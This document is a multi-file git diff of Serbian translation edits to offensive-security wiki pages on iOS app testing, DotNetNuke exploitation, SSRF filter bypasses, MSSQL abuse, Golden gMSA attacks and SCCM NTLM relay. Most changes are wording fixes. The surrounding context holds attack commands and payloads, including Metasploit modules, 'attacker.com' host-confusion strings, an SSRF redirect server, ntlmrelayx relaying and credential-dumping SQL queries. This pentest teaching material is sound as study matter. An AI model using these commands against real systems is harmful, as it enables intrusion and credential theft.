Kroz **Objection Biometrics Bypass**, koji se nalazi na [ovoj GitHub stranici](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostupna je tehnika za prevazilaženje **LocalAuthentication** mehanizma. Suština ovog pristupa uključuje korišćenje **Frida** za manipulaciju funkcijom `evaluatePolicy`, osiguravajući da ona dosledno daje `True` rezultat, bez obzira na stvarni uspeh autentifikacije. Ovo je posebno korisno za zaobilaženje neispravnih procesa biometrijske autentifikacije.
|
||||
|
||||
Da bi se aktiviralo ovo obilaženje, koristi se sledeća komanda:
|
||||
Da bi se aktiviralo ovo zaobilaženje, koristi se sledeća komanda:
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||||
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
|
||||
|
||||
## Mrežna Komunikacija
|
||||
|
||||
Važno je proveriti da li ne dolazi do komunikacije **bez enkripcije** i takođe da li aplikacija ispravno **validira TLS sertifikat** servera.\
|
||||
Važno je proveriti da li ne dolazi do komunikacije **bez enkripcije** i takođe da aplikacija ispravno **validira TLS sertifikat** servera.\
|
||||
Da biste proverili ovakve probleme, možete koristiti proxy kao što je **Burp**:
|
||||
|
||||
{{#ref}}
|
||||
@ -1017,7 +1017,7 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Provera Imena Host-a
|
||||
|
||||
Jedan uobičajen problem prilikom validacije TLS sertifikata je provera da li je sertifikat potpisan od strane **pouzdanog** **CA**, ali **ne proverava** da li je **ime host-a** sertifikata ime host-a koje se pristupa.\
|
||||
Jedan uobičajen problem prilikom validacije TLS sertifikata je provera da li je sertifikat potpisan od strane **pouzdanog** **CA**, ali **ne proverava** da li je **ime host-a** sertifikata ime host-a koji se pristupa.\
|
||||
Da biste proverili ovaj problem koristeći Burp, nakon što poverite Burp CA na iPhone-u, možete **napraviti novi sertifikat sa Burp-om za različito ime host-a** i koristiti ga. Ako aplikacija i dalje radi, onda je nešto ranjivo.
|
||||
|
||||
### Pinovanje Sertifikata
|
||||
@ -1046,9 +1046,9 @@ U tu svrhu obično se koristi [**JSPatch**](https://github.com/bang590/JSPatch)*
|
||||
|
||||
### Treće Strane
|
||||
|
||||
Značajan izazov sa **3rd party SDK-ovima** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrisati SDK i prihvatiti sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme sa privatnošću, ili potpuno odustati od njegovih prednosti. Često, programeri nisu u mogućnosti da patch-uju ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje unutar zajednice, neki mogu početi da sadrže malver.
|
||||
Značajan izazov sa **3rd party SDK-ovima** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrišu SDK i prihvate sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme sa privatnošću, ili potpuno odustanu od njegovih prednosti. Često, programeri nisu u mogućnosti da patch-uju ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje unutar zajednice, neki mogu početi da sadrže malver.
|
||||
|
||||
Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje oglasa ili poboljšanja korisničkog iskustva. Međutim, to uvodi rizik jer programeri možda nisu potpuno svesni koda koji izvršavaju ove biblioteke, što dovodi do potencijalnih rizika za privatnost i sigurnost. Ključno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da nijedni osetljivi podaci nisu izloženi.
|
||||
Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje reklama ili poboljšanja korisničkog iskustva. Međutim, to uvodi rizik jer programeri možda nisu potpuno svesni koda koji izvršavaju ove biblioteke, što dovodi do potencijalnih rizika po privatnost i sigurnost. Ključno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da nijedni osetljivi podaci nisu izloženi.
|
||||
|
||||
Implementacija usluga trećih strana obično dolazi u dva oblika: samostalna biblioteka ili pun SDK. Da bi se zaštitila privatnost korisnika, svi podaci koji se dele sa ovim uslugama trebaju biti **anonimizovani** kako bi se sprečilo otkrivanje ličnih identifikacionih informacija (PII).
|
||||
|
||||
@ -1056,13 +1056,13 @@ Da biste identifikovali biblioteke koje aplikacija koristi, može se koristiti k
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
## Zanimljive Ranljivosti i Studije Slučaja
|
||||
## Zanimljive ranjivosti i studije slučaja
|
||||
|
||||
{{#ref}}
|
||||
air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## **Reference i Dodatni Resursi**
|
||||
## **Reference i dodatni resursi**
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||||
|
@ -8,9 +8,9 @@ iOS verzija komercijalne aplikacije "Air Keyboard" (App Store ID 6463187929) otv
|
||||
|
||||
Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani otpad uzrokuje **neobrađenu izuzetak u OpenSSL rutini dekripcije**, rušeći pozadinsku uslugu (**DoS**).
|
||||
|
||||
## 1. Otkriće usluge
|
||||
## 1. Otkriće servisa
|
||||
|
||||
Skenirajte lokalnu mrežu i potražite dva fiksna porta koja koriste aplikacije:
|
||||
Skenirajte lokalnu mrežu i tražite dva fiksna porta koja koriste aplikacije:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
@ -28,7 +28,7 @@ ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. Format okvira (iOS)
|
||||
|
||||
Binarni fajl otkriva sledeću logiku parsiranja unutar `handleInputFrame()` rutine:
|
||||
Binarni fajl otkriva sledeću logiku parsiranja unutar rutine `handleInputFrame()`:
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
@ -69,11 +69,11 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
## 6. Mogućnosti ublažavanja i ideje za jačanje
|
||||
|
||||
* Nikada ne izlažite neautentifikovane usluge na mobilnom uređaju.
|
||||
* Izvedite tajne po uređaju tokom onboardinga i proverite ih pre obrade unosa.
|
||||
* Povežite slušalac na `127.0.0.1` i koristite međusobno autentifikovani, enkriptovani transport (npr., TLS, Noise) za daljinsko upravljanje.
|
||||
* Otkrivajte neočekivane otvorene portove tokom mobilnih bezbednosnih pregleda (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
||||
* Kao krajnji korisnik: deinstalirajte Air Keyboard ili ga koristite samo na pouzdanim, izolovanim Wi-Fi mrežama.
|
||||
* Nikada ne izlagati neautentifikovane usluge na mobilnom uređaju.
|
||||
* Izvesti tajne po uređaju tokom onboardinga i proveriti ih pre obrade unosa.
|
||||
* Povezati slušalac na `127.0.0.1` i koristiti međusobno autentifikovani, enkriptovani transport (npr., TLS, Noise) za daljinsko upravljanje.
|
||||
* Otkrivati neočekivane otvorene portove tokom mobilnih bezbednosnih pregleda (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
||||
* Kao krajnji korisnik: deinstalirati Air Keyboard ili ga koristiti samo na pouzdanim, izolovanim Wi-Fi mrežama.
|
||||
|
||||
## Detekcija Cheat-Sheet (Pentesteri)
|
||||
```bash
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Ako se prijavite kao **administrator** u DNN, lako je dobiti **RCE**, međutim, u poslednjih nekoliko godina objavljeno je nekoliko *neautentifikovanih* i *post-auth* tehnika. Sledeća cheat-sheet sakuplja najkorisnije primitivne tehnike za ofanzivni i defanzivni rad.
|
||||
Ako se prijavite kao **administrator** u DNN, lako je dobiti **RCE**, međutim, u poslednjih nekoliko godina objavljeno je nekoliko *neautentifikovanih* i *post-auth* tehnika. Ova cheat-sheet sakuplja najkorisnije primitivne tehnike za ofanzivni i defanzivni rad.
|
||||
|
||||
---
|
||||
## Verzija i Okruženje
|
||||
|
||||
* Proverite *X-DNN* HTTP odgovorni header – obično otkriva tačnu verziju platforme.
|
||||
* Čarobnjak za instalaciju otkriva verziju u `/Install/Install.aspx?mode=install` (dostupno na vrlo starim instalacijama).
|
||||
* Čarobnjak za instalaciju otkriva verziju u `/Install/Install.aspx?mode=install` (pristup na veoma starim instalacijama).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) vraća JSON blob koji sadrži `"dnnVersion"` za korisnike sa niskim privilegijama.
|
||||
* Tipični kolačići koje ćete videti na aktivnoj instanci:
|
||||
* `.DOTNETNUKE` – ASP.NET forms authentication ticket.
|
||||
@ -20,9 +20,9 @@ Ako se prijavite kao **administrator** u DNN, lako je dobiti **RCE**, međutim,
|
||||
## Neautentifikovana Eksploatacija
|
||||
|
||||
### 1. Deserializacija Kolačića RCE (CVE-2017-9822 & follow-ups)
|
||||
*Pogođene verzije ≤ 9.3.0-RC*
|
||||
*Zahvaćene verzije ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` se deserializuje pri svakoj zahtev kada je uključen ugrađeni 404 handler. Tako kreirani XML može dovesti do proizvoljnih gadget lanaca i izvršavanja koda.
|
||||
`DNNPersonalization` se deserializuje pri svakoj zahtev kada je ugrađeni 404 handler omogućen. Tako kreirani XML može dovesti do proizvoljnih gadget lanaca i izvršavanja koda.
|
||||
```
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
@ -34,9 +34,9 @@ Modul automatski bira pravi put za zakrpljene, ali još uvek ranjive verzije (CV
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Pogođene verzije < 9.13.8 – Zakrpa objavljena aprila 2025*
|
||||
|
||||
Zaobilaženje starijeg `DnnImageHandler` rešenja omogućava napadaču da natera server da izda **arbitrarne GET zahteve** (polu-slepi SSRF). Praktični uticaji:
|
||||
Zaobilaženje starijeg `DnnImageHandler` rešenja omogućava napadaču da primora server da izda **arbitrarne GET zahteve** (polu-slepi SSRF). Praktični uticaji:
|
||||
|
||||
* Interni port sken / otkrivanje metapodataka u cloud implementacijama.
|
||||
* Interni port skeniranje / otkrivanje metapodataka u cloud implementacijama.
|
||||
* Dostupnost hostova koji su inače zaštićeni od Interneta.
|
||||
|
||||
Dokaz koncepta (zameni `TARGET` & `ATTACKER`):
|
||||
@ -51,7 +51,7 @@ Zahtev se pokreće u pozadini; pratite svog slušatelja za povratne pozive.
|
||||
Specijalno oblikovan sadržaj može naterati DNN da pokuša da preuzme resurs koristeći **UNC put** kao što je `\\attacker\share\img.png`. Windows će rado izvršiti NTLM pregovaranje, otkrivajući heševe server-računa napadaču. Ažurirajte na **10.0.1** ili onemogućite odlazni SMB na vatrozidu.
|
||||
|
||||
### 4. Zaobilaženje IP filtera (CVE-2025-52487)
|
||||
Ako administratori oslanjaju na *Host/IP filtere* za zaštitu admin portala, imajte na umu da se verzije pre **10.0.1** mogu zaobići manipulacijom `X-Forwarded-For` u scenariju obrnute proxy.
|
||||
Ako administratori oslanjaju na *Host/IP filtere* za zaštitu administrativnog portala, imajte na umu da se verzije pre **10.0.1** mogu zaobići manipulacijom `X-Forwarded-For` u scenariju obrnute proxy.
|
||||
|
||||
---
|
||||
## Post-autentifikacija do RCE
|
||||
@ -73,7 +73,7 @@ xp_cmdshell 'whoami';
|
||||
4. Aktivirajte ga na **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Eskalacija privilegija na Windows
|
||||
## Eskalacija privilegija na Windows-u
|
||||
Kada se postigne izvršenje koda kao **IIS AppPool\<Site>**, primenjuju se uobičajene tehnike eskalacije privilegija na Windows-u. Ako je sistem ranjiv, možete iskoristiti:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** za zloupotrebu *SeImpersonatePrivilege*.
|
||||
@ -84,7 +84,7 @@ Kada se postigne izvršenje koda kao **IIS AppPool\<Site>**, primenjuju se uobi
|
||||
|
||||
* **Ažurirajte** na najmanje **9.13.9** (popravlja SSRF zaobilaženje) ili po mogućstvu **10.0.1** (IP filter i NTLM problemi).
|
||||
* Uklonite preostale **`InstallWizard.aspx*`** datoteke nakon instalacije.
|
||||
* Onemogućite izlazni SMB (portovi 445/139).
|
||||
* Onemogućite odlazni SMB (portovi 445/139) izlaz.
|
||||
* Sprovodite jake *Host Filters* na ivici proksija umesto unutar DNN.
|
||||
* Blokirajte pristup `/API/RemoteContentProxy` ako se ne koristi.
|
||||
|
||||
|
@ -109,7 +109,7 @@ attacker。com
|
||||
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
||||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||
```
|
||||
### Zbunjenost Domenа
|
||||
### Zbunjenost domena
|
||||
```bash
|
||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||
# Try replacing https by http
|
||||
@ -154,7 +154,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
```
|
||||
### Fuzzing
|
||||
|
||||
Alat [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog ulaza kako bi pokušao da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
|
||||
Alat [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog unosa kako bi pokušao da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
@ -166,7 +166,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Moguće je da server **filtrira originalni zahtev** SSRF **ali ne** mogući **redirect** odgovor na taj zahtev.\
|
||||
Moguće je da server **filtrira originalni zahtev** za SSRF **ali ne** mogući **redirect** odgovor na taj zahtev.\
|
||||
Na primer, server koji je ranjiv na SSRF putem: `url=https://www.google.com/` može **filtrirati url parametar**. Ali ako koristite [python server da odgovori sa 302](https://pastebin.com/raw/ywAUhFrv) na mesto gde želite da preusmerite, možda ćete moći da **pristupite filtriranim IP adresama** kao što je 127.0.0.1 ili čak filtriranim **protokolima** kao što je gopher.\
|
||||
[Pogledajte ovaj izveštaj.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
@ -191,9 +191,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## Objašnjeni trikovi
|
||||
|
||||
### Blackslash-trik
|
||||
### Blackslash-trick
|
||||
|
||||
_Backslash-trik_ koristi razliku između [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URI, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pregledača. Ključna razlika leži u prepoznavanju backslash-a (`\`) u WHATWG standardu kao ekvivalentnog forward slash-u (`/`), što utiče na to kako se URL-ovi analiziraju, posebno označavajući prelaz sa imena hosta na putanju u URL-u.
|
||||
_Backslash-trick_ koristi razliku između [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URI, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pregledača. Ključna razlika leži u prepoznavanju backslash-a (`\`) kao ekvivalentnog forward slash-u (`/`) u WHATWG standardu, što utiče na to kako se URL-ovi analiziraju, posebno označavajući prelaz sa imena hosta na putanju u URL-u.
|
||||
|
||||

|
||||
|
||||
@ -209,20 +209,20 @@ slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
|
||||
|
||||
### IPv6 Zone Identifier (%25) trik
|
||||
|
||||
Moderni URL parseri koji podržavaju RFC 6874 omogućavaju *link-local* IPv6 adrese da uključuju **zone identifier** nakon procentnog znaka. Neki sigurnosni filteri nisu svesni ove sintakse i samo će ukloniti IPv6 literale u kvadratnim zagradama, dopuštajući sledećem payload-u da dođe do interne interfejsa:
|
||||
Moderni URL parseri koji podržavaju RFC 6874 omogućavaju *link-local* IPv6 adrese da uključuju **zone identifier** nakon znaka procenta. Neki sigurnosni filteri nisu svesni ove sintakse i samo će ukloniti IPv6 literale u kvadratnim zagradama, dopuštajući sledećem payload-u da dođe do interne interfejsa:
|
||||
```text
|
||||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
```
|
||||
Ako ciljana aplikacija validira da host *nije* `fe80::1`, ali prestaje da analizira na `%`, može pogrešno tretirati zahtev kao eksterni. Uvek normalizujte adresu **pre** bilo kakve bezbednosne odluke ili potpuno uklonite opcioni identifikator zone.
|
||||
|
||||
### Nedavne CVE-ove vezane za analizu biblioteka (2022–2025)
|
||||
### Nedavne CVE-ove za analizu biblioteka (2022–2025)
|
||||
|
||||
Nekoliko mainstream okvira imalo je problema sa neusaglašavanjem imena hosta koji se mogu iskoristiti za SSRF kada je validacija URL-a zaobiđena trikovima navedenim iznad:
|
||||
|
||||
| Godina | CVE | Komponenta | Sinopsis greške | Minimalni PoC |
|
||||
|--------|-----|------------|------------------|---------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` nije dozvoljen u *userinfo* sekciji, tako da `https://example.com\[@internal` se analizira kao host `example.com` od strane Spring-a, ali kao `internal` od strane pregledača, omogućavajući open-redirect i SSRF kada se koriste liste dozvoljenih hostova. Ažurirajte na Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
|--------|-----|------------|------------------|----------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` nije dozvoljen u *userinfo* sekciji, tako da se `https://example.com\[@internal` analizira kao host `example.com` od strane Spring-a, ali kao `internal` od strane pregledača, omogućavajući open-redirect i SSRF kada se koriste liste dozvoljenih hostova. Ažurirajte na Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Zbunjenost sa obrnutim kosim crticama omogućila je `http://example.com\\@169.254.169.254/` da zaobiđe filtere hosta koji se dele na `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Verifikacija imena hosta je preskočena kada je ime završeno sa `.` (zbunjenost bez tačke). |
|
||||
|
||||
|
@ -230,7 +230,7 @@ Obratite pažnju da će metasploit pokušati da zloupotrebi samo `openquery()` f
|
||||
|
||||
### Ručno - Openquery()
|
||||
|
||||
Sa **Linux**-a možete dobiti MSSQL konzolu sa **sqsh** i **mssqlclient.py.**
|
||||
Sa **Linux**-a možete dobiti MSSQL konzolnu ljusku sa **sqsh** i **mssqlclient.py.**
|
||||
|
||||
Sa **Windows**-a takođe možete pronaći linkove i izvršiti komande ručno koristeći **MSSQL klijent kao** [**HeidiSQL**](https://www.heidisql.com)
|
||||
|
||||
@ -278,12 +278,14 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
**MSSQL lokalni korisnik** obično ima posebnu vrstu privilegije nazvanu **`SeImpersonatePrivilege`**. Ovo omogućava nalogu da "imituje klijenta nakon autentifikacije".
|
||||
|
||||
Strategija koju su mnogi autori smislili je da primoraju SYSTEM servis da se autentifikuje na lažni ili man-in-the-middle servis koji napadač kreira. Ovaj lažni servis tada može imitirati SYSTEM servis dok pokušava da se autentifikuje.
|
||||
Strategija koju su mnogi autori osmislili je da primoraju SYSTEM servis da se autentifikuje na lažni ili man-in-the-middle servis koji napadač kreira. Ovaj lažni servis tada može da imitira SYSTEM servis dok pokušava da se autentifikuje.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) ima kolekciju ovih različitih tehnika koje se mogu izvršiti putem Beacon-ove `execute-assembly` komande.
|
||||
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) ima kolekciju ovih raznih tehnika koje se mogu izvršiti putem Beacon-ove `execute-assembly` komande.
|
||||
|
||||
### SCCM Tačka Upravljanja NTLM Preusmeravanje (Ekstrakcija OSD Tajni)
|
||||
Pogledajte kako se podrazumevane SQL uloge SCCM **Tačaka Upravljanja** mogu zloupotrebiti za dumpovanje tajni Mrežnog Pristupnog Naloga i Task-Sequence direktno iz baze podataka sajta:
|
||||
Pogledajte kako se podrazumevane SQL uloge SCCM **Tačaka Upravljanja** mogu zloupotrebiti za dumpovanje Network Access Account i Task-Sequence tajni direktno iz baze podataka sajta:
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
@ -10,14 +10,14 @@ Postoje dva glavna tipa:
|
||||
1. **gMSA** – grupni Managed Service Account – može se koristiti na više hostova koji su autorizovani u njegovom `msDS-GroupMSAMembership` atributu.
|
||||
2. **dMSA** – delegirani Managed Service Account – (preview) naslednik gMSA, oslanja se na istu kriptografiju, ali omogućava granularnije scenarije delegacije.
|
||||
|
||||
Za oba varijante **lozinka nije pohranjena** na svakom Domain Controller-u (DC) kao običan NT-hash. Umesto toga, svaki DC može **izvesti** trenutnu lozinku u hodu iz:
|
||||
Za oba varijante **lozinka nije pohranjena** na svakom Domain Controller-u (DC) kao običan NT-hash. Umesto toga, svaki DC može **izvesti** trenutnu lozinku u realnom vremenu iz:
|
||||
|
||||
* KDS Root Key-a na nivou šume (`KRBTGT\KDS`) – nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom.
|
||||
* Ciljanog naloga **SID**.
|
||||
* Per-nalog **ManagedPasswordID** (GUID) koji se nalazi u `msDS-ManagedPasswordId` atributu.
|
||||
|
||||
Izvođenje je: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob konačno **base64-encoded** i pohranjen u `msDS-ManagedPassword` atributu.
|
||||
Nema Kerberos saobraćaja ili interakcije sa domenom potrebne tokom normalne upotrebe lozinke – član hosta izvodi lozinku lokalno sve dok zna tri ulaza.
|
||||
Nema potrebe za Kerberos saobraćajem ili interakcijom sa domenom tokom normalne upotrebe lozinke – član hosta izvodi lozinku lokalno sve dok zna tri ulaza.
|
||||
|
||||
## Golden gMSA / Golden dMSA Attack
|
||||
|
||||
@ -73,15 +73,15 @@ GoldendMSA.exe info -d example.local -m ldap
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
##### Faza 3 – Pogodi / Otkrij ManagedPasswordID (kada nedostaje)
|
||||
##### Фаза 3 – Погађање / Откривање ManagedPasswordID (када недостаје)
|
||||
|
||||
Neka implementacija *uklanja* `msDS-ManagedPasswordId` iz ACL-zaštićenih čitanja.
|
||||
Pošto je GUID 128-bitni, naivan bruteforce je neizvodljiv, ali:
|
||||
Неки распоређивања *уклањају* `msDS-ManagedPasswordId` из читања заштићених ACL-ом.
|
||||
Пошто је GUID 128-битни, наивно брутално тестирање је непрактично, али:
|
||||
|
||||
1. Prvih **32 bita = Unix epoch vreme** kreiranja naloga (rezolucija u minutima).
|
||||
2. Nakon toga sledi 96 nasumičnih bitova.
|
||||
1. Првих **32 бита = Unix epoch време** креирања налога (резолуција у минутима).
|
||||
2. Пратимо 96 насумичних бита.
|
||||
|
||||
Stoga je **uska rečnik po nalogu** (± nekoliko sati) realističan.
|
||||
Стога је **уска листа речи по налогу** (± неколико сати) реална.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
@ -110,7 +110,7 @@ Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – referentna implementacija korišćena na ovoj stranici.
|
||||
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – referentna implementacija korišćena na ovoj stranici.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket koristeći derivirane AES ključeve.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket koristeći izvedene AES ključeve.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
Prisiljavanjem **System Center Configuration Manager (SCCM) Management Point (MP)** da se autentifikuje preko SMB/RPC i **preusmeravanjem** tog NTLM korisničkog naloga na **bazu podataka sajta (MSSQL)** dobijate `smsdbrole_MP` / `smsdbrole_MPUserSvc` prava. Ove uloge vam omogućavaju da pozivate skup procedura koje izlažu **Operating System Deployment (OSD)** policy blobove (akreditivi za pristup mreži, varijable radnog toka, itd.). Blobovi su heksadecimalno kodirani/šifrovani, ali se mogu dekodirati i dešifrovati pomoću **PXEthief**, što daje tajne u običnom tekstu.
|
||||
Prisiljavanjem **System Center Configuration Manager (SCCM) Management Point (MP)** da se autentifikuje preko SMB/RPC i **preusmeravanjem** tog NTLM korisničkog naloga na **bazu podataka sajta (MSSQL)** dobijate `smsdbrole_MP` / `smsdbrole_MPUserSvc` prava. Ove uloge vam omogućavaju da pozivate skup procedura koje izlažu **Operating System Deployment (OSD)** policy blobove (akreditivi za Network Access Account, varijable Task-Sequence, itd.). Blobovi su heksadecimalno kodirani/šifrovani, ali se mogu dekodirati i dešifrovati pomoću **PXEthief**, što daje plaintext tajne.
|
||||
|
||||
Visok nivo lanca:
|
||||
1. Otkrijte MP & bazu podataka sajta ↦ neautentifikovani HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
@ -35,7 +35,7 @@ curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint -
|
||||
```
|
||||
---
|
||||
|
||||
## 2. Prosledi MP račun mašine ka MSSQL
|
||||
## 2. Prosledi MP račun mašine na MSSQL
|
||||
```bash
|
||||
# 1. Start the relay listener (SMB→TDS)
|
||||
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
|
||||
@ -52,7 +52,7 @@ Kada se primorač aktivira, trebali biste videti nešto poput:
|
||||
---
|
||||
|
||||
## 3. Identifikujte OSD politike putem sačuvanih procedura
|
||||
Povežite se preko SOCKS proksija (port 1080 po defaultu):
|
||||
Povežite se preko SOCKS proxy-a (port 1080 po defaultu):
|
||||
```bash
|
||||
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||
```
|
||||
@ -72,9 +72,9 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
|
||||
Svaki red sadrži `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
|
||||
|
||||
Fokusirajte se na politike:
|
||||
* **NAAConfig** – kredencijali za nalog za pristup mreži
|
||||
* **TS_Sequence** – varijable sekvence zadatka (OSDJoinAccount/Password)
|
||||
* **CollectionSettings** – može sadržati naloge za izvršavanje
|
||||
* **NAAConfig** – kredencijali za Network Access Account
|
||||
* **TS_Sequence** – varijable Task Sequence (OSDJoinAccount/Password)
|
||||
* **CollectionSettings** – može sadržati račune za pokretanje
|
||||
|
||||
### 3.3 Preuzmite puni sadržaj
|
||||
Ako već imate `PolicyID` i `PolicyVersion`, možete preskočiti zahtev za clientID koristeći:
|
||||
@ -112,10 +112,10 @@ Ove uloge izlažu desetine EXEC dozvola, ključne koje se koriste u ovom napadu
|
||||
| Stored Procedure | Svrha |
|
||||
|------------------|---------|
|
||||
| `MP_GetMachinePolicyAssignments` | Lista politika primenjenih na `clientID`. |
|
||||
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Vraća kompletno telo politike. |
|
||||
| `MP_GetListOfMPsInSiteOSD` | Vraćeno putem `MPKEYINFORMATIONMEDIA` puta. |
|
||||
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Vraća kompletnu telo politike. |
|
||||
| `MP_GetListOfMPsInSiteOSD` | Vraćeno putem `MPKEYINFORMATIONMEDIA` putanje. |
|
||||
|
||||
Možete pregledati celu listu sa:
|
||||
Možete pregledati punu listu sa:
|
||||
```sql
|
||||
